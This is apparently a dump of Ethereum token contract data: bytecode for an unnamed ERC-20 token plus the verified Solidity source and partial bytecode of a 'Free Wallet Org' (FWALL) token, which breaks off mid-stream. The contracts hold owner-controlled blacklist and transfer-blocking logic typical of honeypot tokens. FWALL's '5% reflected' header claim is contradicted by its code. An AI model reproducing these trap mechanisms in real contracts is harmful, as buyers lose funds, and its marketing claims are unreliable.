0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209d9bfc6fe045b10f9cd26745a3a60cbf35ae4f22963040d2127d65f8c9e7f8ee64736f6c63430006060033
{"success": true, "error": null, "results": {}}
10,033
0x7d414d75aa4b1d5d6243fcb27bd6e3dbd84b30ee
/** *Submitted for verification at Etherscan.io on 2021-12-07 */ // SPDX-License-Identifier: MIT /** * FreeWallet.org * Store and manage digital currencies with ease in the smart and beautiful mobile-first cryptocurrency wallets developed by FreeWallet. * 100% lock liquidity * For token holders: - 5% reflected - 10,000 $FWALL HOLD = Cryptocurrency exchange without commissions */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FreeWallet is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Free Wallet Org"; string private constant _symbol = "FWALL"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x6A35B6a7ffa5AB7cEdd8df88c59758a2D8A9B16A); _feeAddrWallet2 = payable(0x6A35B6a7ffa5AB7cEdd8df88c59758a2D8A9B16A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x6A35B6a7ffa5AB7cEdd8df88c59758a2D8A9B16A), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100c65760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb14610239578063b515566a14610259578063c3c8cd8014610279578063dd62ed3e1461028e57600080fd5b806370a08231146101c35780638da5cb5b146101e357806395d89b411461020b57600080fd5b806306fdde03146100d2578063095ea7b31461011c57806318160ddd1461014c57806323b872dd14610170578063313ce567146101905780636fc3eaec146101ac57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600f81526e467265652057616c6c6574204f726760881b60208201525b6040516101139190611242565b60405180910390f35b34801561012857600080fd5b5061013c610137366004611150565b6102d4565b6040519015158152602001610113565b34801561015857600080fd5b50662386f26fc100005b604051908152602001610113565b34801561017c57600080fd5b5061013c61018b366004611110565b6102eb565b34801561019c57600080fd5b5060405160098152602001610113565b3480156101b857600080fd5b506101c1610354565b005b3480156101cf57600080fd5b506101626101de3660046110a0565b610381565b3480156101ef57600080fd5b506000546040516001600160a01b039091168152602001610113565b34801561021757600080fd5b506040805180820190915260058152641195d0531360da1b6020820152610106565b34801561024557600080fd5b5061013c610254366004611150565b6103a3565b34801561026557600080fd5b506101c161027436600461117b565b6103b0565b34801561028557600080fd5b506101c1610489565b34801561029a57600080fd5b506101626102a93660046110d8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006102e13384846104bf565b5060015b92915050565b60006102f88484846105e3565b61034a8433610345856040518060600160405280602881526020016113d0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610945565b6104bf565b5060019392505050565b600c546001600160a01b0316336001600160a01b03161461037457600080fd5b4761037e8161097f565b50565b6001600160a01b0381166000908152600260205260408120546102e590610a04565b60006102e13384846105e3565b6000546001600160a01b0316331461040f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b81518110156104855760016006600084848151811061044157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061047d81611373565b915050610412565b5050565b600c546001600160a01b0316336001600160a01b0316146104a957600080fd5b60006104b430610381565b905061037e81610a88565b6001600160a01b0383166105215760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610406565b6001600160a01b0382166105825760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610406565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610406565b6001600160a01b0382166106a95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610406565b6000811161070b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610406565b6000600a556005600b556107276000546001600160a01b031690565b6001600160a01b0316836001600160a01b03161415801561075657506000546001600160a01b03838116911614155b15610935576001600160a01b03831660009081526006602052604090205460ff1615801561079d57506001600160a01b03821660009081526006602052604090205460ff16155b6107a657600080fd5b600f546001600160a01b0384811691161480156107d15750600e546001600160a01b03838116911614155b80156107f657506001600160a01b03821660009081526005602052604090205460ff16155b801561080b5750600f54600160b01b900460ff165b156108685760105481111561081f57600080fd5b6001600160a01b038216600090815260076020526040902054421161084357600080fd5b61084e42601e611305565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b0383811691161480156108935750600e546001600160a01b03848116911614155b80156108b857506001600160a01b03831660009081526005602052604090205460ff16155b156108c8576000600a556005600b555b60006108d330610381565b600f54909150600160a01b900460ff161580156108fe5750600f546001600160a01b03858116911614155b80156109135750600f54600160a81b900460ff165b156109335761092181610a88565b478015610931576109314761097f565b505b505b610940838383610c2d565b505050565b600081848411156109695760405162461bcd60e51b81526004016104069190611242565b506000610976848661135c565b95945050505050565b600c546001600160a01b03166108fc610999836002610c38565b6040518115909202916000818181858888f193505050501580156109c1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6109dc836002610c38565b6040518115909202916000818181858888f19350505050158015610485573d6000803e3d6000fd5b6000600854821115610a6b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610406565b6000610a75610c7a565b9050610a818382610c38565b9392505050565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ade57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610b3257600080fd5b505afa158015610b46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6a91906110bc565b81600181518110610b8b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e54610bb191309116846104bf565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610bea908590600090869030904290600401611295565b600060405180830381600087803b158015610c0457600080fd5b505af1158015610c18573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b610940838383610c9d565b6000610a8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d94565b6000806000610c87610dc2565b9092509050610c968282610c38565b9250505090565b600080600080600080610caf87610e00565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ce19087610e5d565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610d109086610e9f565b6001600160a01b038916600090815260026020526040902055610d3281610efe565b610d3c8483610f48565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d8191815260200190565b60405180910390a3505050505050505050565b60008183610db55760405162461bcd60e51b81526004016104069190611242565b506000610976848661131d565b6008546000908190662386f26fc10000610ddc8282610c38565b821015610df757505060085492662386f26fc1000092509050565b90939092509050565b6000806000806000806000806000610e1d8a600a54600b54610f6c565b9250925092506000610e2d610c7a565b90506000806000610e408e878787610fc1565b919e509c509a509598509396509194505050505091939550919395565b6000610a8183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610945565b600080610eac8385611305565b905083811015610a815760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610406565b6000610f08610c7a565b90506000610f168383611011565b30600090815260026020526040902054909150610f339082610e9f565b30600090815260026020526040902055505050565b600854610f559083610e5d565b600855600954610f659082610e9f565b6009555050565b6000808080610f866064610f808989611011565b90610c38565b90506000610f996064610f808a89611011565b90506000610fb182610fab8b86610e5d565b90610e5d565b9992985090965090945050505050565b6000808080610fd08886611011565b90506000610fde8887611011565b90506000610fec8888611011565b90506000610ffe82610fab8686610e5d565b939b939a50919850919650505050505050565b600082611020575060006102e5565b600061102c838561133d565b905082611039858361131d565b14610a815760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610406565b803561109b816113ba565b919050565b6000602082840312156110b1578081fd5b8135610a81816113ba565b6000602082840312156110cd578081fd5b8151610a81816113ba565b600080604083850312156110ea578081fd5b82356110f5816113ba565b91506020830135611105816113ba565b809150509250929050565b600080600060608486031215611124578081fd5b833561112f816113ba565b9250602084013561113f816113ba565b929592945050506040919091013590565b60008060408385031215611162578182fd5b823561116d816113ba565b946020939093013593505050565b6000602080838503121561118d578182fd5b823567ffffffffffffffff808211156111a4578384fd5b818501915085601f8301126111b7578384fd5b8135818111156111c9576111c96113a4565b8060051b604051601f19603f830116810181811085821117156111ee576111ee6113a4565b604052828152858101935084860182860187018a101561120c578788fd5b8795505b838610156112355761122181611090565b855260019590950194938601938601611210565b50